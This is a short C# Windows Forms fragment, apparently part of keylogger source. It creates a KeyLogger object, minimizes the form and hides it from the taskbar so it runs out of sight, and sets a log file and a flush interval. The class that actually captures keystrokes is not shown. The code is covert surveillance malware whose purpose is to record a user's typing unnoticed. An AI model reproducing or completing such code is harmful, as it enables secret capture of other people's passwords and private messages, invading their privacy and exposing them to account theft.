public frmKeyLogger() { InitializeComponent(); kl = new KeyLogger(); this.WindowState = FormWindowState.Minimized; this.ShowInTaskbar = false; }
private void Form1_Load(object sender, EventArgs e) { // Inicializamos los valores textBox1.Text = "60000"; textBox3.Text = filename; try { kl = new KeyLogger(filename); kl.FlushInterval = Convert.ToDouble(textBox1.Text); } catch (Exception) { MessageBox.Show("FlushInterval especificado erroneo"); } }